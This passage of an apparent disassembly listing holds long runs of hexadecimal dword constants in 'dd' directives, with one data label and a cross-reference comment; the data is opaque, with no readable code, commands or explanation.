dd 0D42FB9FDh, 651EE8A1h, 8998B82Dh, 0FB95A8CCh, 0D040E953h
dd 0DE9E0E22h, 9418EFA4h, 564B02C6h, 0E9C62CEEh, 731F5930h
dd 5F3B2CCAh, 318444h, 8355E07h, 4A131E56h, 0EAC24CE9h
dd 0CF707729h, 1441BCBDh, 0D77D97E9h, 15C47784h, 10E450BBh
dd 41296065h, 0B151AD40h, 0E030B20Ch, 7051B8CAh, 777CB5EAh
dd 0BC90F5E9h, 3A5B8CE9h, 5E622BA7h, 6800B56Ch, 626367A6h
dd 0F9F861Ah, 0BCBE4855h, 55B095EEh, 5F82D3CBh, 6DF21FF8h
dd 60C03F55h, 5E005F3Ah, 13A7522Dh, 5FC6318Eh, 57A71F58h
dd 0D84EA91Dh, 0A418DF40h, 5B2C532h, 1792E7F6h, 74AFF868h
dd 0CEEE800Eh, 5897B15Ch, 0DCA690Ch, 1EB53EF0h, 0ADE91670h
dd 0BE6BD557h, 15F72415h, 8F3CFD5Dh, 784193F6h, 314968CCh
dd 0A3934B79h, 0A2E916C9h, 0B16BC399h, 0EAE8F036h, 49F3F1BFh
dd 56F910D5h, 6EE91254h, 49205FD3h, 79F45750h, 1F804F02h
dd 2CA6D65Eh, 4C290351h, 0E2267014h, 4117E2F2h, 40E12BAh
dd 14B9F34Ah, 1B280EE9h, 0A34273FFh, 0E006EAC1h, 121516BAh
dd 0ED4A7B20h, 75C202FAh, 5740D5CDh, 2BED4DE8h, 0C8A80209h
dd 0B0C0CC21h, 5E7C92D4h, 4D2CCB31h, 4C94C19h, 6A764909h
dd 0F50074ADh, 9589B6F2h, 0E925EF01h, 0E2B24817h, 0FD481DECh
dd 5CA8119h, 6E66AF26h, 0B8C47F84h, 7354181h, 32C78D3Ah
dd 5E992A9h, 9CCB6A3Fh
dd 0E158F635h, 4D075AD0h, 76735059h, 0BA0E037Bh, 39AF0118h
dd 51967006h, 9941A32h, 448590Bh, 0FE300B55h, 60348E27h
dd 42D1926Bh, 1F799302h, 0A08F7642h, 0C6E92508h, 0AEDB228Bh
dd 0C1EDAD82h, 82E357D5h, 0D9D4404h, 0D1C22B9Ch, 0BF6A6747h
dd 680F80CAh, 84BB6967h, 18325202h, 0ED7AD71Ah, 0CB6E5094h
dd 0F2CB740Ch, 769D0550h, 52C07A83h, 0AC4B4BDEh, 0E94F82F8h
dd 0B5BFA017h, 3E46241Eh, 82C700CBh, 68676E12h, 7126B92Fh
dd 34443Fh, 462D25E7h, 0EB5832E9h, 0E5E0F593h, 0F1242BADh
dd 57096F22h, 47CA8068h, 48C15F1Ah, 0F70068E7h, 5D432845h
dd 934AE94Fh, 531DCCE1h, 0BFCCBDF8h, 0A7EAEA59h, 0C8517A02h
dd 56B3407Dh, 65DE050Ch, 0A48060E9h, 3F0B22Dh, 1DF8784Fh
dd 4B6C7913h, 6475CDA2h, 363AB7B3h, 0BB2C7584h, 0C0AF9034h
dd 0B7667EECh, 0E5814A01h, 2B7F3118h, 40E80C9Fh, 0BE566DD0h
dd 5D0962CFh, 76F52103h, 9B230876h, 0E0C1813Dh, 0B630506h
dd 525BFFC3h, 15C8F4A3h, 0EDAB16EFh, 709C8E60h, 294684Fh
dd 519D08A0h, 18A46009h, 35064AD3h, 1FDD1362h, 71FC0BB0h
dd 0B2F86B5Ah, 0B02D8CBDh, 0F5681489h, 8006D845h, 0C349467h
dd 0A4B9D10Bh, 1F827D02h, 0E16648B4h, 334D5779h, 0D2B0348Ch
dd 0B75321C0h, 0F8303FA9h, 59549F1h, 492FD26h, 0AC67E868h
dd 0D3A4C4DFh, 0C500FA12h, 7868D7F7h, 0E965A80Dh, 913AEB70h
dd 96889FB8h, 1FFC631h, 0A9779256h, 35E43026h, 0A9B3900h
dd 0F21C981h, 494D0468h, 0D07701E9h, 5417E014h, 15B90C4Bh
dd 95EDFE73h, 805EF68Bh, 13BF6805h, 0DFBE7340h, 2519862Fh
dd 0C55009E9h, 0C64F4FB9h, 761CF35Ah, 75CA2053h, 90BE661Ch
dd 0F7013FFAh, 1895E4Ch, 0E90BF9EBh, 0CA3B5874h, 205A75E0h
dd 11072E7h, 0EEC00F99h, 0DEAC0502h, 194801EDh, 14DA70Fh
dd 0ECF013D6h, 18BC5BE3h, 7E6978ADh, 2A5B11CCh, 194309D6h
dd 5B5E294Ah, 0D8FF0820h, 0B892E378h, 7BBCDF4Fh, 0BE6110DAh
dd 0EA65835Eh, 10D81AD1h, 0A0AD3E4h, 0BA88CBB2h, 30C38007h
dd 8791EB33h, 66D4103Dh, 63E32E68h, 0C70D1595h, 7404B64Ch
dd 84750876h, 62B4BB0Dh, 952B1366h, 9F170531h, 306C8BAh
dd 0D50C2698h, 3115DA50h, 90D904Fh, 0AA22B7F3h, 0FBF94175h
dd 0ABA55C2Ch, 0E69A0CF2h, 0B713EBDDh, 9A8C9500h, 0FBD84B21h
dd 0F96E0479h, 5FA94E90h, 3499B015h, 0DF491950h, 0C796AF10h
dd 1727E912h, 207AE7F6h, 0B94B3E36h, 0E9FC1957h, 0C545B94Bh
dd 0C9EB8DDFh, 0AD807E90h, 26046A1h, 1607BF2Ch, 9F7E691h
dd 3364D586h, 3EEA4155h, 50D9F087h, 4171BF9Fh, 7E7E69C2h
dd 0F8AC6281h, 0E2EB5C04h, 39AAC41Ch, 0B9CE07D3h, 412E0D75h
dd 8C294D6Ah, 41A13A7Ah, 0FE56B31h, 0B07E09F1h, 150591A0h
dd 0E4E97FD4h, 0DF178A5Fh, 38A59000h, 5C8110CDh, 0BF18DDF3h
dd 37930C33h, 1329D0Bh, 0E28073DFh, 7F0B58DEh, 0A92652CDh
dd 0CF09F7CBh, 499CCCEEh, 0DBF87752h, 13C0755Ah, 2525D4BBh
dd 3CDE56A0h, 0B7A45625h, 0E5028B76h, 57407670h, 0FE7E6DADh
dd 0E9CB290Eh, 8050F84Ah, 0C5D37CE3h, 61810F14h, 59AD82BEh
dd 0BF8D3A49h, 0A4C8E82Ah, 24D35EF2h, 16BECE7Fh, 9644C20Ch
dd 125679C5h, 4E8BFBCDh, 5D64604Ah, 6E4BB768h, 2DD1D1ECh
dd 99FD3112h, 18BDFCBBh, 0ABA81FCBh, 0FF6C77F3h, 0E9EB48EFh
dd 1445B59h, 26633548h, 0E13A1454h, 0AA2144BEh, 17241EB0h
dd 0EB125919h, 0D68FA444h, 6604550Bh, 6F7EF8DCh, 2083C98Eh
dd 22A5BFDFh, 2E164C12h, 0BB2B6202h, 47644F6Dh, 7A39D2F4h
dd 0D90C60A4h, 246C2833h, 102DFE89h, 7ACE65EEh, 44AA9934h
dd 715E2F1h, 2F5217BAh, 0A0495036h, 8AE520C5h, 6668B668h
dd 18887B1Fh, 842487E6h, 111F8D3Ah, 27EF6E7Eh, 3401E7C4h
dd 7E538A68h, 503D0CBh, 19771064h, 0A04EB0A8h, 2119E9EEh
dd 0D6FC010Bh, 72E4F2C9h, 95C49A0Ah, 73C36680h, 2F957F67h
dd 6AE34D8Dh, 16D7222Bh, 5C16687Eh, 0E3809064h, 7C661CEFh
dd 0C8E70278h, 4F03B30Fh, 1F1B4A60h, 217D290Bh, 32EFC0D7h
dd 1E7A1366h, 0C946FA09h, 50126E2Fh, 419BAA01h, 8EF2F421h
dd 1B0F2E12h, 874AEF81h, 1CF154EAh, 0C9876ED9h, 7A5338C9h
dd 0C492CEA8h, 0F08BFB34h, 11F6261Ah, 0BC094C56h, 833BE46Eh
dd 0FED4D2FAh, 0BC56AFCFh, 0DA5CB383h, 6AF6B057h, 3442639h
dd 3F9B2E17h, 5A6DCC4Eh, 0EDF06824h, 0C5B3E986h, 0B1BE010Ah
dd 0F74B1870h, 27EBF3DEh, 0BA202312h, 0FE35D8AFh, 58036C94h
dd 8B32CE35h, 0D6C3DA07h, 0EE4F3ACAh, 78225709h, 126091FFh
dd 426AC296h, 0C74FD7C0h, 29D58012h, 836D5AAh, 7126D85Eh
dd 81F02ABCh, 66D1080Bh, 0E7D9025Ah, 61E4DF10h, 1DC3FF90h
dd 9876F180h, 7828DFEEh, 0A0C675CEh, 9D9E41A4h, 0D82EF344h
dd 814F1A98h, 5F326F11h, 4213C83Bh, 3C532D40h, 0D1122AB3h
dd 0CD77EA8Dh, 7F9454B2h, 0AF70DF4Ch, 72C4CE78h, 55092A69h
dd 7B092C58h, 5B7E6E78h, 0D9CA0806h, 10037F25h, 20843834h
dd 0E1C065E9h, 8238F22Ah, 4C0CA468h, 10244B4h, 10492398h
dd 1AE85EACh, 215553F1h, 0C8ABCA25h, 0F7264C58h, 2505D8DAh
dd 0A4C26BF8h, 259DDEAAh, 2AE5EA78h, 0CA5BFE5h, 69A4CB56h
dd 7E6AC00Ch, 92D0A1ACh, 5A794020h, 0C0FFF85Fh, 318C6A0Ah
dd 0C04D5A5Dh, 0E906ED57h, 3D00BE4Ah, 673825BBh, 81430F65h
dd 0F285C3CBh, 91AC8714h, 2E10C415h, 9D879183h, 9D10E5AFh
dd 59C0BB0Fh, 0E38179BDh, 5A021883h, 1B6F0C0Ah, 77465E2Ch
dd 0F554C903h, 0C6540431h, 53E567D6h, 3F08C107h, 0EB964E97h
dd 0D408822Eh, 85BF97E8h, 818FEEDEh, 813E8D50h, 430C9059h
dd 4851AC4Bh, 30A14EB0h, 4200F83Ah, 0D85E27ECh, 0A1A737E7h
dd 507E625Fh, 8785D6FEh, 0F2BBFFDFh, 5AF9739h, 0B12CE97Fh
dd 0FCF33FD8h, 4A74E982h, 2CD1270Fh, 42E25C8Bh, 0BB0087C5h
dd 0B88C4F4Ah, 55C20463h, 0EA566660h, 8004EE1h, 9D0F18E9h
dd 0A20044CAh, 27FD4257h, 5A60D8A0h, 0CFE1BA5Ah, 0E5FA7FC4h
dd 0DAA8AE55h, 3BDE88A4h, 9A26E894h, 0EF13581h, 16C112Ch
dd 0B704C958h, 8234C713h, 0B9005CC3h, 5EAAA9DCh, 34FD8786h
dd 0E26AA84Ch, 7312E058h, 455B2422h, 24BA005Ah, 30E940C8h
dd 9604B1A8h, 0B5515301h, 0FFED8034h, 26E4E5CCh, 0ADF937E9h
dd 331AEAA2h, 14E16759h, 882FF679h, 2708A60h, 0A524F3BDh
dd 95241C7Dh
dword_4F0044 dd 0F8C93453h, 2D0C7185h, 0F4CA6A98h, 0D171E0DFh, 0B75B0EDh
; DATA XREF: ___:00437A2Co
dd 7F37C3A8h, 315F2287h, 92A5E9EBh, 93BF28C1h, 7B9B80BEh
dd 303FF698h, 0F636F14Fh, 915A4E10h, 0E634C1DFh, 0BDF95B06h
dd 0BB293478h, 606983A6h, 5A777C59h, 498700BCh, 295B1D13h
dd 0AB042B7h, 1C096908h, 87855E06h, 85CBDCC1h, 0CED0AA14h
dd 0B64E1B8Eh, 0D5C6825Bh, 0C0776908h, 1611C30Eh, 80D16E7Dh
dd 0E0449C71h, 0E3B4C94Eh, 0D8050EC8h, 0E9C49F2Ah, 48ABA9B1h
dd 0D27C1377h, 50E1C8FEh, 0B03B5372h, 0FE930F0Ch, 0B7B70EC0h
dd 0DFAFFD09h, 96840BBAh, 6C7107Ch, 3B916247h, 5328B466h
dd 6956CBDAh, 58D1F1A5h, 8BB732E9h, 8EC57596h, 65622F28h
dd 0BE53285h, 0A54BF474h, 97EC0545h, 8109E05Ah, 7622ED24h
dd 1CFB7017h, 9D08A8D7h, 9E201F16h, 675E571Ah, 80EFA440h
dd 4AB7C831h, 0B7735704h, 5FA3E961h, 35405380h, 236B70F4h
dd 7EC2292Fh, 0B506C856h, 47B4DD3Ah, 680428BBh, 64A86D7Fh
dd 0F3445DC0h, 4A014227h, 1306E281h, 9487778Ah, 0BA71C514h
dd 46BD02FDh, 68C00D07h, 3895E2C7h, 82B5AF3Fh, 0C445A409h
dd 0CF0C0C6Dh, 275F20E9h, 0FCEB8013h, 0A2C907EAh, 6E550BC0h
dd 4FD295F6h, 25E0F39Dh, 61A4107Dh, 0F8C6971Ah, 6A13E9FBh
dd 0A1E9E9C4h, 1178B189h, 0AB8F665Bh, 335F680Bh, 436E13B0h
dd 5010A525h, 1F4B6E24h, 0BBB52DA5h, 4E7CE6B7h, 5AC0C06Fh
dd 51CBA52h, 61A518A0h, 3B7C392Ch, 61DE5425h, 0F858847Ah
dd 6AC4570Eh, 5D28FE81h, 7D6975Fh, 680CC256h, 22AB4590h
dd 905C517Eh, 65FC94C2h, 0BA17C359h, 3E579AC9h, 47F0BE8h
dd 1141141h, 0C09645Ch, 0E8BF565Bh, 29E90621h, 5D775BA0h
dd 6FE186F4h, 298736FDh, 0F312085Ch, 6EB73302h, 45C7C03Ch
dd 0EFC97F0h, 5FC6E94Fh, 1830A865h, 69985D49h, 10750C63h
dd 0CF488BB3h, 2BE3C723h, 0A6DF72CCh, 0D8B51678h, 0EEC324E2h
dd 8C269FB8h, 521DD0B8h, 81FEC1EFh, 9F2050Eh, 0F1423FF3h
dd 307892Dh, 4E85CF9Fh, 7804BB33h, 1613B413h, 0F598BED6h
dd 0F8D84F9Bh, 8ABBA422h, 65BE4E5Ah, 9211E6B5h, 44180749h
dd 0F73EF7BAh, 68E1056Fh, 30BF0DA6h, 0EFC00733h, 50660816h
dd 88ABF300h, 4B2059E8h, 6B7AF2C7h, 9D345DE6h, 0B5D47095h
dd 50A78474h, 42DC09EFh, 0A8DF09D8h, 0D4300818h, 40500C0Fh
dd 0D325E965h, 3820FDF3h, 0E064C40Dh, 37C220FDh, 0C59569BFh
dd 0CFB0E67Bh, 0A90E499h, 688729A8h, 81765A5Dh, 0A260CEBBh
dd 60D3FD70h, 5D2EABA7h, 1208DC51h, 0C531054Bh, 7F0F8058h
dd 22CEA03h, 0D1736189h, 783A3752h, 15B5CFCh, 0E32FA5BDh
dd 10461057h, 8BA2561h, 5528A6D2h, 5D240A68h, 0E98EAD01h
dd 0C2F1D87Bh, 65301450h, 890A746h, 0EC4A1C6Bh, 0D6A58151h
dd 582D51D6h, 0B55BE950h, 0B8A70185h, 9048AE96h, 350E301Ch
dd 4C034538h, 0AF8F2D5Ch, 0D701A23Ah, 34F80432h, 4A16ED01h
dd 96E9581Fh, 68090768h, 4E4097Bh, 188A5E4Eh, 5361E44Bh
dd 915A4740h, 0B4680493h, 0F8CC1F0Eh, 0B0D1A329h, 0F2D55AAAh
dd 5E5CA2F0h, 0C280509Ah, 0EEC12180h, 0A38BBD11h, 251DED5Fh
dd 0E95833D6h, 6CC258C8h, 0C43D12DEh, 1FCBBF4Eh, 5054FC10h
dd 1B1E5E45h, 30FB35C7h, 99C365CEh, 7C241F25h, 0B8B70D43h
dd 0F1046B4Ah, 0AF8CF08h, 0C1FF66B2h, 0E37FC50Ah, 0CD0A1FDh
dd 315BB151h, 4C67A860h, 0AEA5AF11h, 8A058AD1h, 67785041h
dd 0DDF9A2DDh, 0BEE463Fh, 501320DBh, 41FF09B4h, 0F4800653h
dd 0C99C209Fh, 78EA5082h, 96C29E27h, 7E4BF03Ch, 5D3E859Dh
dd 4CD39533h, 3E26AC35h, 9557A561h, 7116A4B6h, 6DEE2029h
dd 0E5A3574Ah, 556BD16h, 0A8556F0Ah, 1FC00577h, 0C29429D9h
dd 0E6E90702h, 0DC96A55h, 0DC6E70C6h, 7631E949h, 5BD875F4h
dd 16A30F70h, 0EF7C4007h, 8F9F9744h, 850528BDh, 1159066h
dd 6249EDABh, 0ADF3D82Fh, 43DBB606h, 947D901h, 7CF05D42h
dd 0D747489h, 71500304h, 4B903F83h, 0FD7BC194h, 2CB801EDh
dd 24F0FFA5h, 7A31F00Bh, 0E909C866h, 2739EFAh, 1483685Dh
dd 0EC887C51h, 0C7622537h, 0FB1387D1h, 0D3F575A0h, 0AF51C53Ah
dd 97B33A17h, 0EE8C1C0h, 0D45BF2E9h, 950980A4h, 0C7AAA8FBh
dd 590E9420h, 6E10A584h, 4A6859B0h, 7199560Bh, 0B2BBEC36h
dd 0E0B8DD5Ah, 606B688Eh, 0C497613Eh, 0C1312959h, 0BF5708E4h
dd 0AEE8100h, 91358802h, 0E27CC8BDh, 0D255665Ch, 0C5B1E9EBh
dd 2C684BEh, 3CD5835Bh, 0EA63023Eh, 4EF3201Dh, 9620EF52h
dd 0EF594B4Dh, 60153228h, 39EF3B08h, 32765A0Ah, 1D0CF704h
dd 0C78225BEh, 257D79F1h, 88621F71h, 57F99AF5h, 0AF33F86Ch
dd 0B9F81DF2h, 0C382C22Bh, 925BC068h, 0BCDA4955h, 0EB890F8Ch
dd 0FA95C712h, 58E917E2h, 4C81CA50h, 0FCE170F3h, 0E0BD2959h
dd 0BDEE2DE4h, 5C6243F9h, 0AA40D761h, 23CBAF6Ah, 43D6C833h
dd 0D9758226h, 182D0163h, 6A56AE3Bh, 7034EB1h, 259D8781h
dd 0A71CE342h, 8592594Dh, 5EEF1EBh, 0AA1BF568h, 0EF5B2DDFh
dd 0AB203D2Dh, 0B5D3974Bh, 0D4EF689Ch, 0D6026968h, 8848D629h
dd 0EFAC3814h, 79C5F620h, 133D1905h, 2F55CE3Eh, 25688F88h
dd 1A942D96h, 8BAC5B7h, 0E3046C81h, 0E5EB534Ah, 468288D9h
dd 7DBA00BCh, 4A69861Dh, 831E549Dh, 1430715Dh, 83EF90B7h
dd 0E92AD713h, 474BA49Ah, 524DEBCh, 791C043Ch, 0FC01BF77h
dd 5C9F97E9h, 113827Ch, 4CBBA8D6h, 8BEC25EAh, 3E4577FFh
dd 1243BB65h, 4F1C1EEDh, 0F10BB10h, 0D05B2508h, 0B455B39h
dd 0E2595D97h, 4B9CC967h, 13FC0BC1h, 30F04512h, 9144E17h
dd 0FE58000Bh, 0F1E90131h, 3062027Bh, 4904B4CBh, 0CB014E55h
dd 80F86C4h, 45DE2959h, 297DADCCh, 3189D595h, 14436157h
dd 0C908E22Ah, 0D3691155h, 2667324h, 68F18658h, 9B7D7419h
dd 0EA8081F7h, 0B299DC30h, 17F3BD8Dh, 7201616Ch, 72304BC8h
dd 0CD45145h, 65EF4A3Ch, 118CFA2Eh, 0E3FFE2ADh, 0F23A8D25h
dd 0A95E8989h, 0BE7F9CEh, 3803535Ch, 0AD8187Dh, 375E6C1h
dd 4668D427h, 0DB5F50D8h, 2B3A4176h, 1468AAF0h, 0BC52300Bh
dd 0EB131377h, 0D5F58167h, 31AD00FCh, 6FE290D8h, 28C66FD4h
dd 0D070C73h, 59A34878h, 0A96D4151h, 1CE0D1FCh, 82DEF635h
dd 75BE9FFh, 90703A7Dh, 83B2A9BCh, 49D4C101h, 5751604Eh
dd 0D3BA7FF8h, 8EFBC71h, 124D0135h, 85180B08h, 49C7915Dh
dd 26F61DECh, 8F4C789h, 4F3CED34h, 280451BDh, 0BE7FD1AEh
dd 0A7103453h, 30CB5AA7h, 0A22BB745h, 5F5C8BCBh, 3091C318h
dd 176FBA80h, 177E5547h, 0E8E92952h, 0F1F249E1h, 5C7EC709h
dd 0DDF00822h, 1135E03h, 89C2F2CAh, 0B0789C08h, 0F8995E5h
dd 0F660BB7Ch, 0FEC6FED6h, 2E79A72h, 5D44055Fh, 2F7376Fh
dd 190C81Fh, 0F6D1685Ch, 2F207A6Ch, 0A709B676h, 5FF23854h
dd 3222C24Ch, 617BA207h, 0A8E5A0DCh, 733EE02Fh, 0D613772Dh
dd 2CFC029Bh, 69F74AF9h, 0DB283280h, 0E67F5CCBh, 0AC2F2079h
dd 18406812h, 13C452E8h, 0BFB812BDh, 0BB90502h, 0B8883973h
dd 81E9F05Eh, 0E03AF541h, 92296897h, 99082F47h, 8FC0271Ah
dd 6014A5E2h, 1ED5542Dh, 0D694294Bh, 9CE909EFh, 3EEA7B82h
dd 0E1901E20h, 6A6B160Bh, 7E647F97h, 20252E32h, 52137156h
dd 0F925E8FAh, 4934F90Fh, 0E9268D96h, 3B4C17FAh, 0A4C94A9Eh
dd 391265E5h, 9A000D38h
dd 181C2D03h, 0E9BD16D0h, 8813816Dh, 0FBFA70FDh, 166A5F81h
dd 8444ADF6h, 2CFA5DEFh, 0B524E933h, 56F9895h, 69EB7C1Eh
dd 0AD1670CBh, 54096F9Eh, 0D2F30459h, 0A99A5194h, 0BF725D50h
dd 7F2CD1D3h, 0CF9F742Dh, 0E5BAB832h, 956B7AFh, 0FE31D968h
dd 0BC116829h, 22C5D0AEh, 3AA390A9h, 772C6807h, 48E6809h
dd 0BB8C0CC6h, 89BA3C65h, 4AB3DF0h, 7FB0C9Eh, 0DCC5C4FBh
dd 0F62D5C44h, 0E9CA68F1h, 53CB40D7h, 1437B725h, 38B40140h
dd 9BE9E708h, 58984A5Ch, 737C162Dh, 6D422DE6h, 0D7C68104h
dd 87DDC538h, 12EE8510h, 13660908h, 7AD39942h, 0DFBF664Ah
dd 0E12EC9ADh, 81D2258Eh, 3E5B858Eh, 0E85AF4B8h, 0B0E5A7C0h
dd 66BC09AEh, 21D2C7FFh, 0A9FD2D5Ch, 604540Eh, 4B06E7E9h
dd 8B8D1969h, 9D2BF5B0h, 2A98D24Ch, 0A33D41F3h, 7E897E1Bh
dd 9ED6A1E0h, 80F840Ah, 0F153C1C8h, 56F03A5Eh, 49D924F7h
dd 0F4F302A4h, 1DF5614h, 9212E930h, 0AFE6AB50h, 30B63B39h
dd 4533CE01h, 40460B21h, 3755B4B0h, 0CF5EE9EEh, 0D8BD1384h
dd 0F898FC4Bh, 9ABE2CE9h, 1F84B835h, 81095FE7h, 0F47755h
dd 4F531168h, 5A02BBE3h, 0E019092Eh, 8205DA5Ah, 201FF855h
dd 0D095A97Fh, 22CD2209h, 0A4E061BFh, 0FE71C06Fh, 0ACEA80CBh
dd 0BB25204h, 0B4CBD328h, 0B1515280h, 299080C2h, 0C0DD06C0h
dd 98F605E1h, 39DE699Eh, 6E722AFEh, 0AB2A6005h, 0F50762BAh
dd 5BD3948h, 690822D4h, 0E92CC0BEh, 52C3A9A5h, 0E47C6858h
dd 0FCE0818Dh, 2A66957Fh, 90BA942Dh, 3E4CAE99h, 66163203h
dd 0D255E279h, 4FC98AFAh, 0B635EBh, 0A43E3B55h, 5E7EE96Bh
dd 68A138D6h, 4CFF2B43h, 987FC603h, 7F852F77h, 0AB5B474Ch
dd 52818AE8h, 61250907h, 87D56035h, 7B81D40h, 4178409Eh
dd 123DF048h, 0D390557h, 89963B5Eh, 0AB9FCBE9h, 34025FE8h
dd 0DB08CE8Ah, 0E38E7AB1h, 0C1EA3C2Bh, 680BE90Fh, 74AA56C2h
dd 0EEF952AFh, 0C268A2Ah, 64D780A6h, 8DB90A13h, 5AC62605h
dd 41EBD1F7h, 90380401h, 5B6BD42Ah, 0AD684597h, 295A46E6h
dd 0E41369E3h, 8EE2D036h, 8163E06h, 4EA1434Bh, 49947C9Eh
dd 1DFC6031h, 56FC340Bh, 0C6C0882Dh, 0CFAA5412h, 0F2F550E8h
dd 25777A08h, 0E33B8829h, 658BC781h, 62707960h, 0FBA805Fh
dd 0B0048DF6h, 0FD08592Dh, 0DEF8B281h, 3424D075h, 9CF40F0h
dd 5F34EE7Fh, 0E1B50E3Dh, 32CC6B40h, 0F0267F35h, 80429EA3h
dd 38E529EAh, 26C04ABAh, 5D3C230Bh, 0D0CEFB31h, 0FEE92788h
dd 0E5805260h, 0F507B973h, 0EA885255h, 7E5AD422h, 9E9A6FCDh
dd 470EA3FAh, 8007E7C1h, 0BA85F781h, 29452C02h, 0B10949ADh
dd 0F4579124h, 74A1AEDh, 0A2D42232h, 0C0FD219Fh, 0B26C5C2h
dd 0D135E733h, 86037A7Eh, 0F0A1D453h, 0B70CEEDh, 0F529460Ah
dd 56FD895Fh, 535CE39Dh, 0BA13A44Bh, 0EFA77BB8h, 9B09BEB7h
dd 3BACC5Bh, 0A143D3C5h, 57B2290Ah, 241E545Eh, 0CDC1615Fh
dd 6B336E74h, 7B9DE87Bh, 0DF5E345Ch, 9F53D171h, 0C3026962h
dd 424E0165h, 59DFFA42h, 9FFCEB4Ah, 5ECAB42h, 2BBCC32Dh
dd 3A055F88h, 0CA5F5D7Ch, 20E9D6C8h, 664F7AC4h, 58590382h
dd 608F9484h, 9D219AB8h, 0CEE4015Bh, 31B44D8Dh, 0EF1AC15Bh
dd 9E10F4BEh, 0B29CC397h, 29B2DFCAh, 0C6A6FD82h, 0CC2D8444h
dd 27DFC7AFh, 956AAA96h, 440A854Fh, 81609865h, 2F4EAAE5h
dd 6DE33DCh, 4D6FF020h, 91AD33B2h, 5C4CAD10h, 2C72055Ah
dd 5FE451F6h, 0F27B5B36h, 0E24F8B03h, 4C6FFF5Ch, 2DFA6F88h
dd 68FB065Dh, 8181F06h, 957BCCF9h, 0F295C135h, 6010F6E3h
dd 78EDFFBCh, 657B2449h, 4EBD9238h, 0D90567FAh, 12CA570h
dd 0F6139CC5h, 0E48BDBBDh, 60D41942h, 0B60BD8A4h, 135A20F8h
dd 0B816D55Fh, 58099660h, 0B09097E7h, 0CD01ED41h, 287F45D5h
dd 5850AEAEh, 7B5C1811h, 3C529F8Ah, 7B996385h, 3449540h
dd 3C096419h, 0F7470696h, 25563032h, 6C9AEA63h, 6802AB09h
dd 5DEF39Fh, 0A8422FB2h, 0E9E043Bh, 0AEC05DAAh, 5A167A09h
dd 0E457207Fh, 5B0B8438h, 7DB362E9h, 0A02A4F4Dh, 866F679Fh
dd 8505A4E9h, 5DCE648h, 3E7C07D6h, 1262FF03h, 0B0FB9C38h
dd 13187B98h, 3A1C7AC2h, 0C16F7F14h, 0DE6DE70Ch, 68047AECh
dd 6DEDB94Ah, 88F321B4h, 0AC313B23h, 520184A6h, 0CDE96050h
dd 0F61DCE97h, 0B1E29771h, 0ACACD3D7h, 5DDE12D5h, 0FEE3274Bh
dd 3FA7C799h, 775DBA8h, 0A6B6525Ah, 3AC099E9h, 28093105h
dd 552193E3h, 0BF572500h, 194C7EF4h, 58EF26D2h, 531C4109h
dd 0D4F9F94h, 7E72FDF6h, 794EB509h, 0C600BCB2h, 5F058C43h
dd 5096EEE9h, 0E57B4127h, 7B45A72Bh, 22B1F131h, 0E93F575Ch
dd 210C89D9h, 8DF18078h, 0D678D0E1h, 8109AF4Eh, 8961FF43h
dd 936E7914h, 0E909AD8Ah, 0D6AA8Ch, 0EBD04064h, 2E80EDD0h
dd 1549D4CDh, 9D0590CAh, 0B8EFC27Dh, 0C3D94A5Ah, 5B023AD5h
dd 545252C8h, 875C21F6h, 246F8E27h, 0C5EB71D4h, 14785D6h
dd 0B0409105h, 41C56B41h, 6C80B7FCh, 892B0F4Ah, 0BD5EF202h
dd 0C0703A91h, 2DBAF508h, 7C7446B6h, 496F5CAFh, 70912D06h
dd 6C1DBB05h, 20806494h, 0B01169F5h, 39F31DB0h, 0A18992E6h
dd 0ED016F2Fh, 5C664DEh, 2A5B020h, 0E97F153Dh, 0A5A571F2h
dd 4E10D0EFh, 0F9905A4Ch, 33F812D7h, 7F020C7Eh, 7222CE6h
dd 0E7192A11h, 5CFE0503h, 0DCAB64CFh, 6066C2E9h, 7A32DECh
dd 306E7200h, 24E91FF1h, 4C082D3h, 62277F89h, 8C105FF8h
dd 59972E8Dh, 13444C9Dh, 1BCF6D13h, 0D0F2A0Ch, 0A8B25FE9h
dd 3DDD5A48h, 0E95B702Bh, 0F197E11Fh, 695E42CEh, 0AE65D0Bh
dd 0DE572169h, 0F85912B2h, 51E0F761h, 0E528CBB1h, 87E3AD6Eh
dd 0EB07D4B5h, 0BCF1D4BBh, 0C4BDF04Eh, 2564B880h, 0B946300Bh
dd 3A226BBFh, 4AFD85E4h, 280B05BDh, 0C47DE2EBh, 0AB1211A9h
dd 0FDB0906h, 0D32930CFh, 17EAC348h, 6176DFB8h, 3E158493h
dd 0EB810196h, 5AB45DE0h, 7E011520h, 95434875h, 0A018A92Dh
dd 1C694F21h, 0C1F78487h, 0B720A8F0h, 0B6948379h, 0F0C9DDE1h
dd 129BF796h, 0D0F449CAh, 4DA86804h, 5010D8F3h, 76BD25ACh
dd 0E5819E46h, 9EA05576h, 0B66F0B2Fh, 0CAE91231h, 9931EF33h
dd 105F5B8h, 944CE621h, 5773EC45h, 546816C9h, 7E98AD97h
dd 36B0DD29h, 0B7E25320h, 92BFD865h, 0B9E35083h, 0BC5A9342h
dd 0A1FE84BBh, 25B3A812h, 31135766h, 976ACFF9h, 0CCBF1685h
dd 0B541FB0Eh, 0BD0F75F4h, 176CE218h, 0E08F08AAh, 0BAFB50B0h
dd 1C79B71Eh, 20B106D2h, 5181E804h, 8248B38Eh, 45474CEFh
dd 0C057C44Ah, 502625AEh, 0B3E96D08h, 264928F5h, 69A31876h
dd 0C0E5C175h, 7B5B1794h, 6C0A0924h, 9A2F682Dh, 1F266959h
dd 4A439B3Eh, 5E41B844h, 0C034B742h, 0E79B3963h, 7ECF8099h
dd 0EDCB49E0h, 25E9C170h, 5152103Ah, 0B4D3992Eh, 12A6EB82h
dd 0D18541A0h, 0A8CBC8DFh, 31F00627h, 34AEF4E9h, 288F5995h
dd 27152028h, 50C435B2h, 0D7B41948h, 0FC42304Bh, 7668D6ECh
dd 59BE6753h, 1C5A34C6h, 0D7F672C2h, 4B122AC5h, 0E66D28F1h
dd 0CDA36816h, 8F19301Bh, 2D444C19h, 0E864B88Ch, 548609D2h
dd 68040124h, 0E829040Eh, 3303AAC7h, 0F89E054Bh, 0B17B9623h
dd 0B26B201Eh, 5B0A6458h, 5689C8F8h, 80D3AB0Ch, 168EE43Ch
dd 0D4A86BCDh, 91EBA1h, 5A6835h, 892D0BF4h, 4810586Bh
dd 2BF61BF6h, 18E92A16h
dd 6C86CF46h, 0D5F628A4h, 80829006h, 27535ED6h, 75DE1DB3h
dd 55FFE90Bh, 24153EB1h, 3C4F8771h, 680CBEF7h, 7597476Ah
dd 0D6435C48h, 0CEAC62EFh, 313B3250h, 0A04892C2h, 0ED4488ABh
